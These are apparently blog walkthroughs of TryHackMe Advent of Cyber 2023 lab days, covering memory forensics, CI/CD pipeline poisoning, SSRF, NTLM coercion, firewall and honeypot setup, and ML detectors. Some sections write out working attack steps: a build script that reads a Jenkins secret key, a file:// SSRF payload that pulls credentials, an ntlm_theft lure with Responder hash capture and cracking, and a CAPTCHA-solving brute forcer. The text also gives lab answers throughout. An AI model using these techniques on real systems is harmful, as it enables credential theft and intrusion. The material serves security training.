the different plugins that can help with our analysis vol.py -f linux.mem --profile=\u0026#34;LinuxUbuntu_5_4_0-163-generic_profilex64\u0026#34; -h # examine the history file -- use the `linux_bash` plugin vol.py -f linux.mem --profile=\u0026#34;LinuxUbuntu_5_4_0-163-generic_profilex64\u0026#34; linux_bash # examine the running processes on the system -- `linux_pslist` plugin vol.py -f linux.mem --profile=\u0026#34;LinuxUbuntu_5_4_0-163-generic_profilex64\u0026#34; linux_pslist # ------------------------------------ # # extract the binary of the process for examination # -- `linux_procdump` plugin # -- extract both the `miner` and the `mysqlserver` proces # create dir for the extracted process mkdir extracted # extract `miner` process; -D: place to store the extracted data (REQUIRED); -p:the process\u0026#39;s PID vol.py -f linux.mem --profile=\u0026#34;LinuxUbuntu_5_4_0-163-generic_profilex64\u0026#34; linux_procdump -D extracted -p 10280 # extract `mysqlserver` process vol.py -f linux.mem --profile=\u0026#34;LinuxUbuntu_5_4_0-163-generic_profilex64\u0026#34; linux_procdump -D extracted -p 10291 # ------------------------------------ # # check the extracted processes ls extracted/ # create MD5 hash for both extracted binary md5sum extracted/miner.10280.0x400000 md5sum extracted/mysqlserver.10291.0x400000 # ------------------------------------ # # file extraction -- check on cron files -- enumerate files with the `linux_enumerate_files` plugin # focus our search with `grep` vol.py -f linux.mem --profile=\u0026#34;LinuxUbuntu_5_4_0-163-generic_profilex64\u0026#34; linux_enumerate_files | grep -i cron # interesting crontab # output: 0xffff9ce9b78280e8 132687 /var/spool/cron/crontabs/elfie # extract the interesting file using the inode value; -O:name teh file output; -i:inode value vol.py -f linux.mem --profile=\u0026#34;LinuxUbuntu_5_4_0-163-generic_profilex64\u0026#34; linux_find_file -i 0xffff9ce9b78280e8 -O extracted/elfie # inspect the file cat extracted/elfie # check for the suspicious url within the miner process strings extracted/miner.10280.0x400000 | grep http:// Questions and Answers Question-1: What is the exposed password that we find from the bash history output?\nNEhX4VSrN7sV\nQuestion-2: What is the PID of the miner process that we find?\n10280\nQuestion-3: What is the MD5 hash of the miner process?\n153a5c8efe4aa3be240e5dc645480dee\nQuestion-4: What is the MD5 hash of the mysqlserver process?\nc586e774bb2aa17819d7faae18dad7d1\nQuestion-5: Use the command strings extracted/miner.\u0026lt;PID from question 2\u0026gt;.0x400000 | grep http://. What is the suspicious URL? (Fully defang the URL using CyberChef)\nhxxp[://]mcgreedysecretc2[.]thm\nQuestion-6: After reading the elfie file, what location is the mysqlserver process dropped in on the file system?\n/var/tmp/.system-python3.8-Updates/mysqlserver\nQuestion-7: If you enjoyed this task, feel free to check out the Volatility room.\nNo answer needed\nDay-20 Advent of Frostlings\nStoryline\nThe Best Festival Company has discovered that the source control and automation pipelines of its newly acquired subsidiary, AntarctiCrafts, have been tampered with, possibly by a malicious actor or rogue accounts. We will investigate this scenario to understand poisoned pipeline execution (PPE) within a GitLab environment. Our goal is to identify how the build processes were bypassed and implement measures to mitigate these attacks.\nOverview\nGitLab is a collaboration platform centering on Git for version control and CI/CD pipelines to automate the building, testing, and deployment of code. This process is integrated into the Software Development Life Cycle (SDLC) and enhanced by DevSecOps, which embeds security scanning and validation into the pipeline to reduce vulnerabilities before code reaches production.\nA Poisoned Pipeline Execution (PPE) attack occurs when an attacker manipulates the build process by injecting malicious code into the pipeline, exploiting trust boundaries within the supply chain. In this scenario, we act as DevSecOps engineers to identify and mitigate a PPE attack launched by \u0026ldquo;Frostlings\u0026rdquo; against the AntarctiCrafts Advent Calendar build process.\nWe will use a provided GitLab instance to examine the gitlab-ci.yml configuration file. This file defines the automation workflow, including dependency installation, the cleanup of old Docker containers, and a test stage that deploys an Apache (httpd) container on port 9080 to validate the site before it is pushed to the main branch.\nPractical\nLogin creds for GitLab:\n# username: DelfSecOps # password: TryHackMe! Configuration file \u0026ndash; .gitlab-ci.yml:\nworkflow: rules: - if: $CI_COMMIT_BRANCH install_dependencies: stage: build script: - echo \u0026#34;This is the installation step\u0026#34; before_script: - | # Check if docker is running then terminate to free port CONTAINER_NAME=\u0026#34;affectionate_saha\u0026#34; if docker ps -a --format \u0026#34;{{.Names}}\u0026#34; | grep -q \u0026#34;^$CONTAINER_NAME$\u0026#34;; then echo \u0026#34;Stopping existing container...\u0026#34; docker stop $CONTAINER_NAME docker rm $CONTAINER_NAME fi test: stage: test script: - whoami - pwd - ls -la - ls -la ./public/ - echo \u0026#34;Testing some Christmas things yes, yes...\u0026#34; - \u0026gt; echo \u0026#34;\u0026lt;html\u0026gt;\u0026lt;head\u0026gt;\u0026lt;title\u0026gt;Advent of Cyber Calendar\u0026lt;/title\u0026gt;\u0026lt;style\u0026gt;* {margin: 0;padding: 0;}.imgbox {display: grid;height: 100%;}.center-fit {max-width: 100%;max-height: 100vh;margin: auto;}\u0026lt;/style\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body\u0026gt;\u0026lt;div class=\u0026#39;imgbox\u0026#39;\u0026gt;\u0026lt;img class=\u0026#39;center-fit\u0026#39;src=\u0026#39;images/Day_20_defaced_calendar.png\u0026#39; alt=\u0026#39;Advent Calendar BFC\u0026#39;\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;\u0026#34; \u0026gt; ./public/index.html - docker run -d --name $CONTAINER_NAME -v $(pwd)/public/:/usr/local/apache2/htdocs/ -p 9081:80 httpd:latest artifacts: paths: - public/ rules: - if: $CI_COMMIT_BRANCH == \u0026#34;main\u0026#34; Questions and Answers Question-1: What is the handle of the developer responsible for the merge changes?\n@BadSecOps\nQuestion-2: What port is the defaced calendar site server running on?\n9081\nQuestion-3: What server is the malicious server running on?\napache\nQuestion-4: What message did the Frostlings leave on the defaced site?\nfrostlings rule\nQuestion-5: What is the commit ID of the original code for the Advent Calendar site?\n986b7407\nQuestion-6: If you enjoyed today\u0026rsquo;s challenge, please check out the Source Code Security room.\nNo answer needed\nQuestion-7: Detective Frosteau believes it was an account takeover based on the activity. However, Tracy might have left some crumbs.\nNo answer needed\nDay-21 Yule be Poisoned: A Pipeline of Insecure Code!\nStoryline\nAfter securing the primary automation pipelines, we discovered additional components within the environment used to build and extend those pipelines. We must now address the risk that an attacker could abuse these secondary build systems to indirectly poison the already secured pipeline.\nOverview\nThis section explains the components of a CI/CD pipeline, specifically focusing on the interaction between Gitea for version control and Jenkins for automation. We learn about Indirect Poisoned Pipeline Execution (PPE), a vulnerability that occurs when an attacker cannot modify a protected pipeline configuration file but can modify other files \u0026ndash; such as a Makefile \u0026ndash; that the pipeline executes.\nTo demonstrate this, we attempt to modify the Jenkinsfile in the gift-wrapper-pipeline repository to execute the whoami command, but we find that the repository is branch-protected. Instead, we clone the gift-wrapper repository, which lacks these protections, and inject the malicious command into its Makefile. By pushing this change and manually triggering a build in Jenkins, we can execute arbitrary commands on the build server and verify the result in the build logs.\nPractical\n# Gitea credentials guest:password123 # Jenkins credentials admin:admin # Gitea platform http://10.10.95.201:3000 # Jenkins platform http://10.10.95.201:8080 # cloning the `gift-wrapper-pipeline` repo git clone http://10.10.95.201:3000/McHoneyBell/gift-wrapper-pipeline.git # change line 13 of the Jenkinsfile from sh \u0026#39;make || true\u0026#39; to sh \u0026#39;whoami\u0026#39; # add; commit and push git add . git commit -m \u0026#34;change make to whoami\u0026#34; git push # push will fail because it\u0026#39;s main-protected # creating a new branch is similarly branch-protected too # clone the `gift-wrapper` repo http://10.10.95.201:3000/McHoneyBell/gift-wrapper.git # modify the to_pip.sh file accordingly # save, add, commit, push -- this time it updates successfully # run it on the jenkins page --\u0026gt; `gift-wrapper-build` # check the output --\u0026gt; console output Makefile:\nbuild: ./to_pip.sh to_pip.sh:\n#!/bin/bash mkdir -p tests rm -rf dist/ # get the kernel version uname -a # grab the secret key cat /var/lib/jenkins/secret.key Setup and Usage:\npython3 setup.py sdist bdist_wheel # for testing cat ~/.home/.pypirc_test twine upload --repository testpypi dist/* # for production twine upload dist/* Questions and Answers Question-1: What Linux kernel version is the Jenkins node?\n5.4.0-1029-aws\nQuestion-2: What value is found from /var/lib/jenkins/secret.key?\n90e748eafdd2af4746a5ef7941e63272f24f1e33a2882f614ebfa6742e772ba7\nQuestion-3: Visit our Discord (opens in new tab)!\nNo answer needed\nDay-22 Jingle Your SSRF Bells: A Merry Command \u0026amp; Control Hackventure\nStoryline\nWhile recovering compromised servers, the team detects a large volume of data being exfiltrated to a known malicious server, suggesting the presence of an insider-created backdoor. We will assist Detective Frost-eau from law enforcement in identifying and taking down this command and control server.\nOverview\nThis challenge teaches the fundamentals of Server-Side Request Forgery (SSRF), a vulnerability where an attacker tricks a server into making unauthorized requests to internal or external resources. We learn about basic, blind, and semi-blind SSRF, as well as the prerequisites for exploitation, such as vulnerable input points and a lack of proper input validation.\nTo take control of the Command and Control (C2) server, we first identify a vulnerable endpoint in the API documentation: getClientData.php. We observe that this endpoint accepts a url parameter to fetch files from infected agents. By manipulating this parameter and using the file:// scheme, we can force the server to read local files. We will use this technique to access config.php, extract the administrative credentials, and successfully log into the C2 panel.\nPractical\n# How to add a hostname # If you are connected via VPN or AttackBox, you can add the hostname `mcgreedysecretc2.thm` # by first opening the host file, depending on your host operating system. # Windows -- `C:\\Windows\\System32\\drivers\\etc\\hosts` # Ubuntu or AttackBox -- `/etc/hosts` # Open the host file and add a new line at the end of the file in the format: `10.10.90.193 mcgreedysecretc2.thm` # Save the file and type `http://mcgreedysecretc2.thm` in the browser to access the website. # Fetch the `index.php` via the API # `file:///path/to/any/file` is often used to access a file located on your local file system # usually an attacker can access sensitive files like `/etc/passwd` and connection strings(`config.php`, `connection.php`) `http://10.10.90.193/getClientData.php?url=file:////var/www/html/index.php` # Migitation Measures # To prevent SSRF exploitation, the following mitigations are suggested: # - Employing strict input validation and sanitisation to prevent malicious input. # - Using allow lists to control which domains and IPs the application can access. # - Applying network segmentation to restrict requests to authorised resources # - Following the principle of least privilege, granting the minimum permissions required for system operations. # Exploitation phase # grabbing the index.php file curl http://10.10.90.193/getClientData.php?url=file:////var/www/html/index.php # grabbing the login creds curl http://10.10.90.193/getClientData.php?url=file:////var/www/html/config.php # Found login creds mcgreedy:mcgreedy!@#$% Questions and Answers Question-1: Is SSRF the process in which the attacker tricks the server into loading only external resources (yea/nay)?\nnay\nQuestion-2: What is the C2 version?\n1.1\nQuestion-3: What is the username for accessing the C2 panel?\nmcgreedy\nQuestion-4: What is the flag value after accessing the C2 panel?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nQuestion-5: What is the flag value after stopping the data exfiltration from the McSkidy computer?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nQuestion-6: If you enjoyed this task, feel free to check out the SSRF room.\nNo answer needed\nDay-23 Relay All the Way\nStoryline\nMcGreedy has changed the server password, locking McSkidy out of her own system. Since online brute-force attacks have failed, we must find an alternative way to recover the credentials. We know the server utilizes a network file share, so our objective is to trick McGreedy into disclosing the new password through that shared resource.\nOverview\nThis challenge focuses on NTLM authentication and the use of authentication coercion attacks to capture sensitive credentials. We explore how corporate network resources, specifically shared file folders, can be leveraged by attackers to exfiltrate data or stage attacks if proper security controls are not enforced.\nWe learn that the Server Message Block (SMB) protocol governs file sharing in Windows environments and often utilizes NetNTLM authentication. In this process, a server sends a challenge to a client, which the client encrypts with their password hash to create a response. We can intercept these challenges using tools like Responder to perform man-in-the-middle attacks via LLMNR, NBT-NS, or WPAD poisoning. However, since VPNs often mitigate these local network intercepts, we use authentication coercion to force a target system or user to authenticate to an attacker-controlled host.\nTo execute this, we use the ntlm_theft tool to create a malicious .lnk file that triggers an automatic authentication request to our IP when viewed. We upload this file to a writable network share and run Responder to listen for incoming connections. Once a user interacts with the file, we capture their NetNTLMv2 hash and use John the Ripper with a provided wordlist to crack the hash and recover the plaintext password, ultimately granting us RDP access to the host.\nPractical\nCoercing the connectee:\n# create a file to coerce the user to authenticate to the server -- `ntlm_theft` tool cd /root/Rooms/AoC2023/Day23/ntlm_theft/ # create an `lnk` file python3 ntlm_theft.py -g lnk -s 10.10.252.14 -f stealthy ## add the `lnk` file to the network share cd stealthy # connect to the share as a guest smbclient //10.10.47.165/ElfShare/ -U guest% # upload the file smb: \\\u0026gt;put stealthy.lnk # list files for verification smb: \\\u0026gt;dir # grab the `greedykeys.txt` file get greedykeys.txt ## run `Responder` to listen for incoming authentication attempts -- for vpn --\u0026gt; use `tun` instead of `ens5` responder -I ens5 Intercepted challenge:\n[SMB] NTLMv2-SSP Client : ::ffff:10.10.47.165 [SMB] NTLMv2-SSP Username : ELFHQSERVER\\Administrator [SMB] NTLMv2-SSP Hash : Administrator::ELFHQSERVER:cba93c5afdb86070:83D4C3C0C10AE614633D4FCCEC224E89:010100000000000080A648EFCB35DA01EC174886161D92950000000002000800370039004A004D0001001E00570049004E002D004B004C004E004400390049004800360043003100570004003400570049004E002D004B004C004E00440039004900480036004300310057002E00370039004A004D002E004C004F00430041004C0003001400370039004A004D002E004C004F00430041004C0005001400370039004A004D002E004C004F00430041004C000700080080A648EFCB35DA01060004000200000008003000300000000000000000000000003000008A9FB34C4187B72445CFA0AA9888D9AF0D7CEAAACB37D681589E23366D0E86BD0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E003200350032002E00310034000000000000000000 Store the user hash in ~/hash.txt.\nAdministrator::ELFHQSERVER:cba93c5afdb86070:83D4C3C0C10AE614633D4FCCEC224E89:010100000000000080A648EFCB35DA01EC174886161D92950000000002000800370039004A004D0001001E00570049004E002D004B004C004E004400390049004800360043003100570004003400570049004E002D004B004C004E00440039004900480036004300310057002E00370039004A004D002E004C004F00430041004C0003001400370039004A004D002E004C004F00430041004C0005001400370039004A004D002E004C004F00430041004C000700080080A648EFCB35DA01060004000200000008003000300000000000000000000000003000008A9FB34C4187B72445CFA0AA9888D9AF0D7CEAAACB37D681589E23366D0E86BD0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E003200350032002E00310034000000000000000000 Bruteforce the hash with the grabbed wordlist:\njohn --wordlist=greedykeys.txt hash.txt # Found credentials Administrator:GreedyGrabber1@ Connecting to the DC to grab the flag:\nxfreerdp +clipboard /u:Administrator /v:10.10.47.165 /p:GreedyGrabber1@ Questions and Answers Question-1: What is the name of the AD authentication protocol that makes use of tickets?\nKerberos\nQuestion-2: What is the name of the AD authentication protocol that makes use of the NTLM hash?\nNetNTLM\nQuestion-3: What is the name of the tool that can intercept these authentication challenges?\nResponder\nQuestion-4: What is the password that McGreedy set for the Administrator account?\nGreedyGrabber1@\nQuestion-5: What is the value of the flag that is placed on the Administrator’s desktop?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nQuestion-6: If you enjoyed this task, feel free to check out the Compromising Active Directory module!\nNo answer needed\nDay-24 You Are on the Naughty List, McGreedy\nStoryline\nDetective Frost-eau identifies Tracy McGreedy as a suspect and believes she communicated with an accomplice. To uncover digital evidence, the detective arranges for McGreedy\u0026rsquo;s company-owned smartphone to be seized and sent to Forensic McBlue for laboratory analysis.\nOverview\nThis section introduces the fundamentals of digital forensics, explaining the importance of maintaining a chain of custody and the necessity of acquiring raw, bit-for-bit images of storage devices to ensure evidence remains admissible in court. We learn about four primary acquisition methods: static, live, logical, and sparse. The text details specific procedures for computers, such as using write blockers for powered-off machines to prevent data tampering and performing live acquisitions on powered-on machines to capture volatile memory (RAM) and bypass encryption.\nThe tutorial further explores smartphone forensics, highlighting the challenges posed by full-disk and file-based encryption in Android and iOS. To demonstrate these concepts, we follow a practical case where a researcher uses a Faraday bag to isolate a device and leverages the Android Debug Bridge (adb) to extract data. We see how gaining root access allows for the creation of a full raw image via the adb pull command. Finally, the goal is achieved by importing this image into Autopsy, where specific ingest modules are used to analyze the smartphone\u0026rsquo;s data.\nPractical\n# VM access # username: administrator # password: jNgQTDN7 # ip: 10.10.223.239 adb shell # verify that we have root access whoami # filter the mounted devices -- concentrate only on the `data` directory mount | grep data # example device: /dev/block/dm-0 # get a raw dump of the data partition # pull the device partition and save it to the specified local file adb pull /dev/block/dm-0 Android-McGreedy.img Questions and Answers Question-1: One of the photos contains a flag. What is it?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nFile Views \u0026gt; File Types \u0026gt; By Extension \u0026gt; Images \u0026gt; board2.jpg Question-2: What name does Tracy use to save Detective Frost-eau’s phone number?\nDetective Carrot-Nose\nFile Views \u0026gt; File Types \u0026gt; By Extension \u0026gt; Images \u0026gt; 57_task_thumbnail.png Question-3: One SMS exchanged with Van Sprinkles contains a password. What is it?\nchee7AQu\nData Artifacts \u0026gt; Messages Question-4: If you have enjoyed this room please check out the Autopsy room.\nNo answer needed\nThe Confrontation - Jolly Judgment Day We assist McSkidy\u0026rsquo;s team in a final courtroom confrontation to present gathered evidence against McGreedy to Santa. The objective is to secure a conviction by matching the correct evidence to Santa\u0026rsquo;s questions.\nTo win, we must achieve a conviction score higher than 100 without exhausting Santa\u0026rsquo;s patience, which decreases with incorrect answers and increases with correct ones.\nPractical\n# Game - Answers # 1. Information from ChatBot Purple Snow # 2. Notes in MS-DOS Computer Gr33dster # 3. Dropped USBs mcgreedysecretc2.thm # 4. Malware Sample stash.mcgreedy.thm # 5. Cryptominer mcgreedysecretc2.thm # 6. Forensic Image of McGreedy\u0026#39;s Phone Van Sprinkles Questions and Answers Question-1: What is the final flag?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nThe End - We the Kings of Cyber Are The story concludes with the restoration of peace and production at the polar toy factories following the defeat of McGreedy. While the team celebrates the successful merger and the security of the holidays, the narrative hints at future conflicts, noting that a defeated McGreedy is plotting revenge and the Frosty Five have successfully leveraged the situation for their own sinister gains.\nQuestion-1: Congratulations on finishing Advent of Cyber 2023! Only one thing left\u0026hellip;\nNo answer needed\nFeedback - We wish you a Merry Survey The event concludes with a congratulatory message to the participants of Advent of Cyber 2023. To complete the challenge, we are asked to provide feedback via a survey, which grants the final flag.\nQuestion-1: What flag did you get after completing the survey?\nTHM{\u0026lt;redacted-flag\u0026gt;}\n","permalink":"https://onebee.blog/blog/thm/aoc23/days-19-24/","summary":"THM | Advent of Cyber 2023 | Days 19-24","title":"AOC23 | Days 19-24"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2023\nDays: 13-18\nDay-13 To the Pots, Through the Walls\nStoryline\nFollowing a proposed merger and a series of suspicious activities, McHoneyBell and The B Team are tasked with improving the defensive security posture of the Best Festival Company. As security researchers on the team, our objective is to investigate proactive security measures and mitigation strategies to safeguard the company\u0026rsquo;s systems against future malicious attacks.\nOverview\nThe Best Festival Company and AntarctiCrafts are dealing with security breaches caused by a suspected insider threat. We are tasked with helping the company transition from a victim to a defender by utilizing the Diamond Model of Intrusion Analysis to profile the adversary, identify their infrastructure and capabilities, and implement proactive defensive measures.\nThis challenge introduces the Diamond Model and defensive security infrastructure. We explore the four facets of the model \u0026ndash; adversary, victim, infrastructure, and capability \u0026ndash; and learn how to counter threats using threat hunting and vulnerability management. The technical focus is on deploying defensive tools, specifically firewalls and honeypots:\nFirewalls\nWe use the Uncomplicated Firewall (ufw) on Ubuntu to manage network traffic. The process involves setting default policies to deny incoming and allow outgoing traffic, creating specific rules to allow services like SSH (port 22), and blocking specific malicious IP addresses. Honeypots\nWe use PenTBox to deploy a decoy system that mimics a vulnerable target to lure attackers and log their activity. We configure a manual honeypot on a specific port with a custom message to detect and record intrusion attempts. The ultimate goal is to apply these configurations to expose a hidden website and retrieve a flag by modifying firewall rules via a provided script.\nQuestions and Answers Question-1: Which security model is being used to analyse the breach and defence strategies?\ndiamond model\n# Connection # username: vantwinkle # password: TwinkleStar # Firewall configuration # on the host running the webserver # check the `uncomplicated firewall` status sudo ufw status # set the default policies sudo ufw default allow outgoing sudo ufw default deny incoming # add firewall rule with port number and protocol sudo ufw allow 22/tcp # deny a particular ip address sudo ufw deny from 192.168.100.25 # deny a particula ip address coupled with an interface sudo ufw deny in on eth0 from 192.168.100.26 # enable the service sudo ufw enable # check/verify the status sudo ufw status verbose # reset the changes sudo ufw reset # Honeypot configuration pentbox-1.8 # Honeypot installation with PenTBox sudo ./pentbox.rb # Menu select \u0026gt; 2 (Network tools) # Menu select \u0026gt; 3 (Honeypot) # Menu select \u0026gt; 2 (Manual Configuration) # Menu select \u0026gt; 8080 (Port to OPEN) # Menu select \u0026gt; \u0026#34;Santa has gone for the Holidays. Tough luck.\u0026#34; (false message to show) # ... # check from lhost if page is online \u0026gt; request is shown and alert is triggered on the server Question-2: Which defence capability is used to actively search for signs of malicious activity?\nthreat hunting\nQuestion-3: What are our main two infrastructure focuses? (Answer format: answer1 and answer2)\nfirewall and honeypot\nQuestion-4: Which firewall command is used to block traffic?\ndeny\nQuestion-5: There is a flag in one of the stories. Can you find it?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nQuestion-6: If you enjoyed this task, feel free to check out the Network Device Hardening room.\nNo answer needed\nDay-14 The Little Machine That Wanted to Learn\nStoryline\nThe CTO has sabotaged the toy-making pipeline by infecting key elves, resulting in the production of defective toys. To resolve this, McSkidy has introduced control elves to measure and compare the toys to isolate the source of the problem. Because this manual comparison is inefficient, the objective is to implement machine learning to optimize the detection of the problematic elves.\nOverview\nThis challenge introduces the fundamentals of machine learning by tasking us with creating a neural network to detect defective toys in a production pipeline. We learn the differences between various ML structures, focusing specifically on neural networks and supervised learning, where a labeled dataset is used to guide the model toward correct answers.\nWe also explore the internal architecture of a network \u0026ndash; including input, hidden, and output layers \u0026ndash; and the two-step process of training: the feed-forward loop for generating predictions and back-propagation for updating weights based on error margins.\nTo prevent overtraining, we apply dataset splitting, dividing data into training, validation, and testing sets to ensure the model learns general principles rather than simply memorizing answers.\nTo implement the solution, we use a Python script with libraries such as NumPy, Pandas, and Scikit-learn. We begin by loading the toy datasets and encoding categorical data, such as color schemes, into integers. We then split the data, normalize the features using a standard scaler to ensure consistent input ranges, and initialize a Multi-Layer Perceptron (MLP) classifier.\nAfter training the model on the training set and validating its accuracy against the validation set, we use the trained network to predict defects in a separate, unlabeled testing dataset. The final goal is to achieve a prediction accuracy of over 90% to secure the flag.\nQuestions and Answers Question-1: What is the other term given for Artificial Intelligence or the subset of AI meant to teach computers how humans think or nature works?\nmachine learning\nQuestion-2: What ML structure aims to mimic the process of natural selection and evolution?\ngenetic algorithm\nQuestion-3: What is the name of the learning style that makes use of labelled data to train an ML structure?\nsupervised learning\nQuestion-4: What is the name of the layer between the Input and Output layers of a Neural Network?\nhidden layer\nQuestion-5: What is the name of the process used to provide feedback to the Neural Network on how close its prediction was?\nback-propagation\nQuestion-6: What is the value of the flag you received after achieving more than 90% accuracy on your submitted predictions?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nQuestion-7: If you enjoyed this room, we invite you to join our Discord server (opens in new tab) for ongoing support, exclusive tips, and a community of peers to enhance your Advent of Cyber experience!\nNo answer needed\nDay-15 Jingle Bell SPAM: Machine Learning Saves the Day!\nStoryline\nEmployees at Best Festival Company are being targeted by a surge of phishing emails designed to steal credentials, suggesting that the existing spam detector was intentionally sabotaged, possibly by an employee named McGreedy. To resolve this, we must assist McSkidy in developing a new spam email detector using machine learning, utilizing a provided sample dataset to train the model.\nOverview\nThis challenge demonstrates how to build a spam email detection model using a Machine Learning pipeline within a Jupyter Notebook environment. We will follow a structured process to transform raw text data into a predictive model, ultimately classifying emails as either spam or ham.\nTo achieve this, we first collect a dataset of emails and preprocess the text using CountVectorizer, which converts words into a numerical token count matrix that a model can understand.\nWe then split this data into training and testing sets to ensure the model can be validated on unseen data. For the classification task, we employ a Multinomial Naive Bayes classifier, which determines the probability of an email being spam based on the frequency of specific keywords.\nFinally, we evaluate the model\u0026rsquo;s performance using a classification report to analyze precision, recall, and accuracy before testing the model against a set of new emails to verify its real-world effectiveness.\nQuestions and Answers Question-1: What is the key first step in the Machine Learning pipeline?\ndata collection\nQuestion-2: Which data preprocessing feature is used to create new features or modify existing ones to improve model performance?\nfeature engineering\nQuestion-3: During the data splitting step, 20% of the dataset was split for testing. What is the percentage weightage avg of precision of spam detection?\n0.98\nQuestion-4: How many of the test emails are marked as spam?\n3\nQuestion-5: One of the emails that is detected as spam contains a secret code. What is the code?\nI_HaTe_BesT_FestiVal\nQuestion-6: If you enjoyed this room, please check out the Phishing module.\nNo answer needed\nDay-16 Can\u0026rsquo;t CAPTCHA this Machine!\nStoryline\nMcGreedy has locked McSkidy out of the Elf(TM) HQ admin panel and implemented a CAPTCHA on the login page to block automated brute force attacks. To regain access, we must help McSkidy develop a custom brute force script that integrates machine learning to automatically solve the CAPTCHA challenges, allowing the automated attack to proceed.\nOverview\nThis challenge demonstrates how red teams can leverage Machine Learning (ML) to bypass security controls, specifically by cracking CAPTCHAs to facilitate a brute force attack on an admin portal. We learn that Convolutional Neural Networks (CNNs) are ideal for this task because they can automatically extract important features from image data through a process of convolution (summarizing the image) and pooling (statistical reduction). These features are then processed through fully connected layers to classify the image into a specific character.\nTo achieve the objective, we follow these technical steps:\nData Collection and Labeling: We gather CAPTCHA images from the target portal and manually label them to create a supervised learning dataset. Model Training: We use the AOCR tool within a Docker container to train a CNN, monitoring the loss and perplexity values to ensure the model is accurate and not overtrained. Deployment: The trained model is exported and hosted using TensorFlow Serving, which exposes an API for real-time predictions. Execution: We utilize a custom Python script to automate the attack. The script captures the CAPTCHA from the portal, sends it to the hosted model for prediction, and \u0026ndash; provided the prediction probability is high enough \u0026ndash; submits the predicted character along with a password from a wordlist. The ultimate result is a highly accurate, task-specific CAPTCHA-cracking engine that allows us to successfully brute force the admin credentials and regain access to the HQ admin portal.\nPractical\n# start a Docker container that has TensorFlow and AOCR already installed for you docker run -d -v /tmp/data:/tempdir/ aocr/full # get the container\u0026#39;s id docker ps # connect to the container docker exec -it CONTAINER_ID /bin/bash # go to the ocr dir cd /ocr/ # ------------------------------------------- # get the raw image from the url curl http://hqadmin.thm:8000/ # ... parsing, mapping stuff # create a dataset for a tensorflow record that can be used for training aocr dataset ./labels/training.txt ./training.tfrecords # training the model cd labels \u0026amp;\u0026amp; aocr train training.tfrecords # test the model aocr test testing.tfrecords # ------------------------------------------- # hosting the model -- export # export the trained model from the docker container cd /ocr/ \u0026amp;\u0026amp; cp -r model /tempdir/ # exit the docker exit # get the container id docker ps # kill the container docker kill CONTAINER_ID # run TensorFlow Serving in a Docker container # start the Serving container docker run -t --rm -p 8501:8501 -v /tmp/data/model/exported-model:/models/ -e MODEL_NAME=ocr tensorflow/serving # you can connect to the model through the API hosted on: http://localhost:8501/v1/models/ocr/ # ------------------------------------------- # Brute forcing the admin panel cd ~/Desktop/bruteforcer \u0026amp;\u0026amp; python3 bruteforce.py Questions and Answers Question-1: What key process of training a neural network is taken care of by using a CNN?\nFeature Extraction\nQuestion-2: What is the name of the process used in the CNN to extract the features?\nConvolution\nQuestion-3: What is the name of the process used to reduce the features down?\npooling\nQuestion-4: What off-the-shelf CNN did we use to train a CAPTCHA-cracking OCR model?\nAttention OCR\nQuestion-5: What is the password that McGreedy set on the HQ Admin portal?\nReallyNotGonnaGuessThis\nQuestion-6: What is the value of the flag that you receive when you successfully authenticate to the HQ Admin portal?\nTHM{\u0026lt;redacted-flag\u0026gt;}\nQuestion-7: If you enjoyed this room, check out our Red Teaming learning path!\nNo answer needed\nDay-17 I Tawt I Taw A C2 Tat!\nStoryline\nFollowing a series of diverse security events \u0026ndash; including prompt injection, malware analysis, and machine learning attacks \u0026ndash; the Santa Security Operations Centre (SSOC) must now synthesize these anomalies to identify the broader scope of the breach. To establish an investigation timeline and define the boundaries of the incident, we focus on network traffic statistics. By analyzing network load and data transfer patterns, we aim to create a hypothesis and gain a high-level overview of the ongoing attack.\nOverview\nThe SSOC team is tasked with analyzing network traffic to identify anomalies and threats. We are tasked with supporting the team by processing network flow data to provide rapid statistical insights for an investigator named McSkidy. The objective is to identify suspicious communication patterns, such as potential Command and Control (C2) channels and Denial of Service (DoS) attacks, without the resource-heavy requirement of full packet captures.\nWe use the SiLK (System for Internet Level Knowledge) suite to analyze binary flow files. We begin by using rwfileinfo to examine file metadata and rwcut to filter and read specific flow records.\nTo identify high-level anomalies, we employ rwstats to find top talkers and frequently used ports. We refine our search using rwfilter to isolate traffic on specific ports, such as DNS (port 53) and HTTP (port 80), piping the results into rwstats and rwcut to analyze request frequency and TCP flags.\nThrough this process, we identify two major security events:\nC2 over DNS\nA host (ending in .221) is flagged for sending a massive volume of DNS requests in very short intervals to a single destination, suggesting a C2 tunnel potentially created by a tool like dnscat2. SYN Flood Attack\nA host (ending in .223) is identified as the target of a SYN flood attack. Analysis reveals the attacker (ending in .223) sends numerous TCP-SYN packets but never completes the three-way handshake with an ACK, indicating a DoS attempt. Practical\n# binary flow at /home/ubuntu/Desktop/suspicious-flows.silk # check the SiLK version silk_config -v # display the flow file properties rwfileinfo suspicious-flows.silk # reading the flow files -- `rwcut` reads binary flow records and prints those selected by the user # display the first five record lines rwcut suspicious-flows.silk --num-recs=5 # display the last five record lines rwcut suspicious-flows.silk --tail-rec=5 # selecting -- extract particular columns # options # source IP: sIP; destination IP: dIP -- source port: sPort; destination port: dPort # duration: duration; start time: sTime; end time: eTime rwcut suspicious-flows.silk --fields=protocol,sIP,sPort,dIP,dPort --num-recs=5 # NOTE: protocol section is displayed in binary form (ICMP=1; IPv4=4; TCP=6; UDP=17) # filtering -- `rwfilter` -- multiple filters for each column -- requires the output to be post-processed --\u0026gt; doesn\u0026#39;t display result on the terminal --\u0026gt; mostly used with rwcut --\u0026gt; `rwfilter suspicious-flows.silk` will throw an error # filter all UDP records, pass the output to rwcut, display the first five records # --pass=stdout must be set to process the output with pipe and rwcut rwfilter suspicious-flows.silk --proto=17 --pass=stdout | rwcut --num-recs=5 rwfilter suspicious-flows.silk --proto=17 --pass=stdout | rwcut --fields=protocol,sIP,sPort,dIP,dPort --num-recs=5 # filtering 